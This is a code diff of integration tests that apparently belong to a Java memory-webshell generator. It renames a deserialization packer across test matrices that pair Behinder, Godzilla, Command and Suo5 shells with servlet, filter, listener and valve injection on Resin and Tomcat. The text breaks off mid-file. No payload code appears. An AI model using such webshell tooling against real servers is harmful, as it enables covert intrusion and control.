Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java index 1b8927f6..f41fb9eb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java @@ -44,29 +44,29 @@ public class Resin318ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java index fabe236f..1f6e2c10 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java @@ -43,29 +43,29 @@ public class Resin4058ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java index 0dc39057..0d96bbab 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java @@ -43,29 +43,29 @@ public class Resin4067ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index c243c76e..46f08863 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -43,52 +43,52 @@ public class Tomcat10ContainerTest { return Stream.of( arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index 151d9f91..78ff0adf 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -43,52 +43,52 @@ public class Tomcat5ContainerTest { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize) + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize) // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar) // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index 44d05530..76e3bab0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -43,37 +43,37 @@ public class Tomcat6ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + 